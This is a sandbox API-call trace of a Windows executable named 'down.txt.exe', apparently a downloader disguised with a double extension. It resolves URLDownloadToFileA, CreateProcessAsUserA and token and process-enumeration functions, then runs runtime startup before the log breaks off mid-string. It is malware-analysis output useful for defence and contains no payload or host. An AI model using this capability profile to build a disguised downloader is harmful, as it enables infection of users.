# Flog Txt Version 1 # Analyzer Version: 3.2.1 # Analyzer Build Date: Jan 8 2020 21:00:13 # Log Creation Date: 13.01.2020 14:40:14.659 Process: id = "1" image_name = "down.txt.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\down.txt.exe" page_root = "0x35464000" os_pid = "0x15c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x444" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\down.txt.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x698 [0031.119] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0031.119] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0031.119] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0031.130] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0031.130] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0031.130] GetProcAddress (hModule=0x76e10000, lpProcName="Process32Next") returned 0x76e488a4 [0031.130] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0031.130] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0031.130] GetProcAddress (hModule=0x76e10000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e4735f [0031.131] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0031.131] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0031.131] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessA") returned 0x76e21072 [0031.131] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0031.131] GetProcAddress (hModule=0x76e10000, lpProcName="Process32First") returned 0x76e48ae7 [0031.131] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0031.131] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0031.131] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0031.131] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0031.131] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0031.131] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0031.131] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0031.131] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0031.131] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0031.132] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0031.132] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0031.132] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0031.132] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0031.132] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0031.132] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0031.132] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0031.132] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0031.132] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0031.132] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0031.132] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0031.132] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0031.132] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0031.133] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0031.133] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSListHead") returned 0x773594a4 [0031.133] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0031.133] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0031.133] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0031.133] GetProcAddress (hModule=0x76e10000, lpProcName="RaiseException") returned 0x76e258a6 [0031.133] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0031.133] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0031.133] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibrary") returned 0x76e234c8 [0031.133] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0031.133] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameA") returned 0x76e214b1 [0031.133] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0031.133] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0031.133] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0031.134] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0031.134] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0031.134] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0031.134] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineA") returned 0x76e251a1 [0031.134] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0031.134] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0031.134] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0031.134] GetProcAddress (hModule=0x76e10000, lpProcName="HeapValidate") returned 0x76e3b17b [0031.134] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemInfo") returned 0x76e249ca [0031.134] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0031.134] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringA") returned 0x76e4b2b7 [0031.134] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0031.134] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0031.134] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObjectEx") returned 0x76e21151 [0031.135] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0031.135] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileAttributesExW") returned 0x76e24574 [0031.135] GetProcAddress (hModule=0x76e10000, lpProcName="CreateDirectoryW") returned 0x76e24259 [0031.135] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringW") returned 0x76e23bca [0031.135] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0031.135] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0031.135] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileExA") returned 0x76ea427f [0031.135] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileA") returned 0x76e4d53e [0031.135] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0031.135] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0031.135] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0031.135] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0031.135] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0031.135] GetProcAddress (hModule=0x76e10000, lpProcName="SetEnvironmentVariableA") returned 0x76e2e331 [0031.136] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0031.136] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0031.136] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0031.136] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0031.136] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0031.136] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0031.136] GetProcAddress (hModule=0x76e10000, lpProcName="HeapQueryInformation") returned 0x76ea43ff [0031.136] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0031.136] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x754b0000 [0031.136] GetProcAddress (hModule=0x754b0000, lpProcName="CreateProcessAsUserA") returned 0x754f2538 [0031.136] GetProcAddress (hModule=0x754b0000, lpProcName="GetUserNameA") returned 0x754da4b4 [0031.136] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0031.136] GetModuleHandleA (lpModuleName="urlmon.dll") returned 0x75050000 [0031.136] GetProcAddress (hModule=0x75050000, lpProcName="URLDownloadToFileA") returned 0x750e68d0 [0031.137] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x75190000 [0031.137] GetProcAddress (hModule=0x75190000, lpProcName="DeleteUrlCacheEntry") returned 0x751d59e8 [0031.138] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff60 | out: lpSystemTimeAsFileTime=0x18ff60*(dwLowDateTime=0x6ee1f260, dwHighDateTime=0x1d5ca1f)) [0031.138] GetCurrentThreadId () returned 0x698 [0031.138] GetCurrentProcessId () returned 0x15c [0031.138] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff58 | out: lpPerformanceCount=0x18ff58*=17225503000) returned 1 [0031.146] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0031.148] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0031.148] GetLastError () returned 0x57 [0031.149] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0031.149] GetLastError () returned 0x57 [0031.149] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0031.149] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0031.150] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0031.150] GetLastError () returned 0x57 [0031.151] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0031.151] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0031.153] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0031.153] GetLastError () returned 0x57 [0031.153] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74580000 [0031.171] GetProcAddress (hModule=0x74580000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0031.172] GetProcessHeap () returned 0x5d0000 [0031.174] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0031.174] GetLastError () returned 0x57 [0031.174] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0031.185] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0031.185] GetLastError () returned 0x57 [0031.185] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0031.185] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0031.186] GetLastError () returned 0x57 [0031.186] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0031.187] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x388) returned 0x5ed230 [0031.187] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0031.187] SetLastError (dwErrCode=0x57) [0031.205] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc24) returned 0x5ed5c0 [0031.214] GetStartupInfoW (in: lpStartupInfo=0x18fe48 | out: lpStartupInfo=0x18fe48*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\down.txt.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7efde000, hStdError=0x0)) [0031.214] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0031.214] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0031.214] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0031.214] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\down.txt.exe\" " [0031.214] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\down.txt.exe\" " [0031.216] GetLastError () returned 0x57 [0031.216] SetLastError (dwErrCode=0x57) [0031.216] GetLastError () returned 0x57 [0031.216] SetLastError (dwErrCode=0x57) [0031.216] GetACP () returned 0x4e4 [0031.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x244) returned 0x5ecee8 [0031.216] IsValidCodePage (CodePage=0x4e4) returned 1 [0031.216] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0031.216] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f748 | out: lpCPInfo=0x18f748) returned 1 [0031.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x22c) returned 0x5ef1f0 [0031.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x5ef218, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0031.216] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpCharType=0x18f75c | out: lpCharType=0x18f75c) returned 1 [0031.216] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef1f0) returned 1 [0031.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef1f0 | out: hHeap=0x5d0000) returned 1 [0031.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x22c) returned 0x5ef1f0 [0031.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x5ef218, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0031.218] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0031.218] GetLastError () returned 0x57 [0031.218] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0031.227] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0031.227] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0031.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x22c) returned 0x5ef428 [0031.227] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x5ef450, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0031.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchWideChar=256, lpMultiByteStr=0x18fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¯o\x8cm\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0031.227] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef428) returned 1 [0031.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef428 | out: hHeap=0x5d0000) returned 1 [0031.228] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef1f0) returned 1 [0031.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef1f0 | out: hHeap=0x5d0000) returned 1 [0031.228] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x22c) returned 0x5ef1f0 [0031.228] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x5ef218, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0031.228] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0031.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x22c) returned 0x5ef428 [0031.228] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x5ef450, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 